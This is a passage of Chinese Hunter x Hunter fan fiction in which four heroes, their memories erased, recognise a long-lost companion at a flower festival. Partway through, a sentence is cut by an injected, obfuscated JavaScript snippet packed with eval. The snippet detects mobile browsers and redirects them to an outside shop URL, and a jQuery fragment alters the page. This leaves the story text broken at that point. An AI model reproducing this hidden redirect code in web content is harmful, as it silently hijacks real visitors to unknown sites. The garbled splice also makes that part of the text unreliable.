“是吗。”奇犽应道,目光没有从耳坠上移开,上面的蓝色和橱窗里的勿忘我色调一致,他鬼使神差地问了一句:“他也喜欢勿忘我?”
“我不知道。”女孩摇摇头,将包好的花束递给他,抬起眼,第一次,真正地、近距离地看向他的眼睛,“或许她的眼睛也是这么漂亮的颜色吧。”
她的目光清澈见底,映出奇犽有些怔然的脸。
他接过花束,指尖无意间碰到了她的手指。她的皮肤微凉,带着植物汁液湿润的触感。那一瞬间,一股微弱却清晰的电流般的震颤,顺着指尖窜了上来。
两人同时顿了一下。
女孩很快收回了手,垂下眼帘:“谢谢惠顾。”
奇犽也收回了手,付了钱。他没有立刻离开,而是拿着那束勿忘我,站在原地,又看了看这间小小的花店,看了看她,看了看橱窗里那丛蓝得刺眼的勿忘我,和玻璃窗上影影绰绰与之交错的蓝瞳。
“花店是你的愿望吗?”他听见自己问。这个问题毫无来由,却脱口而出。
女孩似乎也愣了一下。她抬起头,再次看向他,黑眼睛里闪过一丝困惑的情绪。她沉默了几秒,才轻声回答:“大概吧。我很喜欢花,它赋予了我生活不一样的色彩。”
奇犽的心,重重地一跳。
他没有再问下去,只是点了点头,转身走出了花店。
门外的阳光和喧嚣瞬间将他吞没。他抱着那束勿忘我,站在小巷里,回头望去。花店的门依旧敞开着,那个黑发的身影重新蹲下,开始整理下一桶鲜花,安静得仿佛从未被打扰。
左耳垂的幻痛,在这一刻,变得无比清晰而灼热。
墨镜男人抱着刚买的常春藤挤出花店,他的心里却发堵。那个女店主明明没见过,为什么总觉得那双过分平静的黑眼睛,在哪里注视过自己?
“想什么呢!”他拍了拍脸,“肯定是最近太累。”
雷欧力欧·帕拉丁奈特——他现在终于想起了自己的全名,并且正在为成为一名好医生和应付猎人协会的琐事而焦头烂额。
他沿河岸走着,祭典弥漫的愉悦感驱不散心底的烦躁和失落。他好像丢了很重要的东西,但就是想不起来,那个小小的、安静的身影。
河水泛着夕阳光。主花船正要起航,人群在欢呼。墨镜男人找了棵柳树下站着,仰头看船。
花瓣和彩纸屑纷纷扬扬落下。一片蓝色勿忘我花瓣落在墨镜上。
他摘下眼镜,捏着那片柔软的花瓣。蓝色,清透,像那个女店主的耳坠,带着不明不白的感觉萦绕在记忆里。
心里那股酸涩感更重了。
他下意识转头,目光扫过人群,然后,在水边石阶上定格了。
是那个花店女孩。她独自坐在最下面一级,几乎碰到河水,怀里似乎抱着什么。她没有看花船,没有看人群,只是侧头望着河水中破碎的蓝紫色光影。
那么安静,格格不入。
墨镜男人看着她,看着她被“花雪”笼罩的侧影。胸腔里那股情绪翻滚着。他想走过去,问她为什么一个人坐在这里,问她怀里抱着什么,问她我们是不是真的在哪里见过。
但他没有动。只是站在那里,隔着距离,看着。墨镜后的眼睛,不知为何,有些模糊。
花咲祭的重头戏之一,是夜间在贯穿小镇的运河上举行的花船巡游。
天色将暗未暗时,河两岸已经挤满了等待的人群。各色灯笼早早亮起,将水面和人们的脸庞染上温暖朦胧的光晕。空气中弥漫着晚餐的香气、酒香和越来越浓郁的、带着夜露的花香。
一艘艘装饰着鲜花、彩绸和灯饰的华丽花船,静静地停泊在码头,准备开始它们的航行。
酷拉皮卡站在远离最拥挤人群的一座石桥中段,靠着冰凉的桥栏,望着下游灯火辉煌的码头方向。他刚刚结束与诺斯拉家族残余势力的一轮棘手谈判,身心俱疲。路过这个小镇,听闻花咲祭,想起了一些关于“花咲”这个姓氏的遥远传闻,便停留一晚。
复仇结束了。族人的眼睛找回了。但之后呢?
巨大的空虚像冰冷的河水,日夜冲刷着他。他很少回忆过去几年具体的经历,那些不好的部分被他刻意封存。但总有一些碎片不受控制地浮现——偶尔会梦见一双极其平静的、深潭般的黑眼睛。
晚风吹拂着他金色的头发,耳垂上的挂饰轻轻晃动。他闭上眼,深吸了一口带着水汽和花香的夜风,试图平复心底那莫名的烦躁。
“嘿!”一个声音从旁边传来。
金发青年转头,看到一个刺猬头少年走来,笑容阳光,眼神清澈。“你也一个人看祭典吗?”
金发青年微微颔首,算是回应。他不习惯与陌生人搭话,尤其是现在。
“这花雨真漂亮啊!”刺猬头少年趴到栏杆上,仰头看着漫天飘落的蓝色花瓣,深吸一口气,“唔,这花香,总觉得在哪里闻过,让人心里有点闷闷的。”
金发青年的指尖微微扣紧了栏杆。是的,这花香。勿忘我。甜中带苦,像记忆本身的味
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17261328|198038||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
道。每一次闻到,心底那片空谷都会发出轻微的回声。
“你也觉得熟悉?”刺猬头少年侧过头看他,眼神坦诚,“我总觉得,好像忘记了什么特别重要的人。看到烟花,或者闻到这种特别的花香,心里就空落落的,觉得这时候应该还有一个人在身边。可是就是想不起是谁。”
金发青年沉默着,和刺猬头少年说的一样。那种空洞感,他也有。梦里偶尔闪过的平静黑眸,醒来后更深的茫然。
这些碎片是什么?
“或许,”金发青年低声说,更像自语,“只是错觉。”
主花船驶近,更密集的“花雪”落下。在飞舞的蓝紫色花瓣中,酷拉皮卡的目光,被河岸边一处角落吸引了。
银发青年独自站着,手拿白花。柳树下,抱着常春藤的墨镜男人正仰头。
而水边石阶上,那个独自坐着的黑发女孩……
酷拉皮卡的呼吸一滞。
距离很远,光线昏暗。但那个身影,像一道闪电,劈开了他记忆中的浑浊。不是画面,是一种感觉——一种曾几何时,他也这样和一个人沉默地笼罩在悲伤里。
“咦?”小杰也顺着他的目光看去,随即瞪大了眼睛。他的手不自觉地捂住了胸口,眉头紧紧皱起。
一种庞大、复杂、矛盾到极点的情感洪流毫无预兆地冲垮了他。他不知道这情绪从何而来,只觉得心脏像被紧紧攥住,眼眶发热,喉咙发紧。
他张了张嘴,想说什么,却发不出声音,只是死死盯着水边那个黑发女孩,泪水毫无征兆地滚落下来。
朝穗空坐在冰凉的石头台阶上,河水几乎漫过鞋尖。怀里,那个被她小心粘合、依旧布满裂痕的雪景球安静待着。
五年了。
记忆里只剩下了这个水晶球。她一个人生活,攒钱,在这个开满勿忘我的小镇开了“Floraison”。
祭典热闹,但她不属于那里,只想来河边坐一会儿,一个人守着破碎的雪景球。
花船驶来,灯光绚烂,乐声喧天。花瓣和彩纸像雪一样落下。
一片完整的、蓝得纯粹的勿忘我花瓣,旋转着,轻轻落在她的鼻尖。
冰凉,柔软,带着记忆深处那股熟悉的、清苦的香气。
她极轻地吸了一口气。
花香涌入肺腑,混合着水汽,飘来的硝烟味,混合着一种更深沉、更遥远的东西。
就在这一瞬间——
她感到四道目光,从不同的方向,同时落在了自己身上。
“咔嚓。”
一声极其轻微、仿佛来自灵魂深处的脆响。
时光的洪流,决堤了。
朝穗空捏着鼻尖上的花瓣,缓缓地、极其缓慢地,转过头。
她的目光,先撞进岸边银发青年那双猛然收缩、仿佛有惊涛骇浪翻涌的湛蓝眼眸。再是不可置信拨开墨镜的黑发男人。
然后抬起,越过波光粼粼的、载满灯火与花瓣的光之河,对上了桥上金发青年那双因极度震惊而失神、映着漫天蓝雪的瞳孔,和旁边那个已经泪流满面、死死盯着她的刺猬头少年。
世界的声音在褪去。
祭典的喧嚣,乐声,欢呼,水声……都成了模糊的背景。
只剩下眼前纷飞的、永不落地的蓝色花瓣。
和那四张在五年空白后,于这片名为“勿忘”的花雪中,重新清晰起来的、刻骨铭心的脸庞。
无数的画面碎片,伴随着巨大的情感冲击,蛮横地冲进她的脑海——
从天而降的‘她’’
十岁生日花海里的“对”。
病床边稳定的手。
最后那天的苹果糖和冰冷的名字。
不辞而别的房间,破碎的雪景球,漫长的、只有一个人的寻找与等待。
再是相识、相知与陪伴。
陷阱塔里的“小心蜘蛛”。
岛上的烤鱼和“新手运”。
……以及再一次命中注定般的重逢。
停滞的命运在此刻重新交汇。
她终于懂了,那时说的“你以后会知道的。”意思。
泪水,汹涌地冲出眼眶,滚烫地滑过冰冷的脸颊。她张了张嘴,喉头像被死死堵住,发不出声音。
但她看清了。
他们想起来了。
那些被强行剥离、深深埋藏的记忆,在这片勿忘我的花海里,在这个似曾相识的祭典夜晚,冲破了所有束缚,呼啸着归来。
朝穗空颤抖着,紧紧抱住怀里布满裂痕的雪景球。
她看着他们,泪水模糊了视线。
没有喊出他们的名字。
她知道他们是谁,知道每一个眼神、每一个动作背后的含义,知道他们共同经历的所有欢笑与泪水。但“奇犽”、“小杰”、“酷拉皮卡”、“雷欧力欧”这些具体的音节,此刻被更庞大、更原始的情感洪流淹没。
她只是看着他们,用那双盛满了五年空白和此刻巨大重逢冲击的黑眼睛,看着他们。
然后,在漫天蓝色的花雨中,在四道同样被记忆重击、同样在努力辨认彼此的目光注视下。
她轻轻地、颤抖地,用口型,无声地说出了两个字。
不是任何一个人的名字。
而是那个贯穿了他们所有共同记忆的、最初也是最后的、带着花香的称谓。
那个曾经她赌气不愿叫、后来想叫却无人可叫、最终深深刻在灵魂里的——
唇形清晰,却没有声音。
但岸边的银发青年,瞳孔骤然收缩。
桥上的金发青年,呼吸瞬间停滞。
柳树下的墨镜男人,猛地捂住了嘴。
而那个泪流满面的刺猬头少年,在看清那无声口型的瞬间,像是被巨大的幸福和悲伤同时击中,整个人晃了一下,然后用力地、重重地,朝着她的方向,点了点头。
泪水更加汹涌地从朝穗空眼中滚落。
她那无声的、跨越五年时光的呼唤终于有了归处。
河面上的花船依旧在行驶,灯光绚烂。
蓝色的花瓣依旧在飘落,永无止境。
但此刻,在桥与岸之间,在光与影之中,在五年遗忘的尽头。
第五个人,终于被她失忆的“同伴”,接回了他们共同的故事里。
欢迎回来。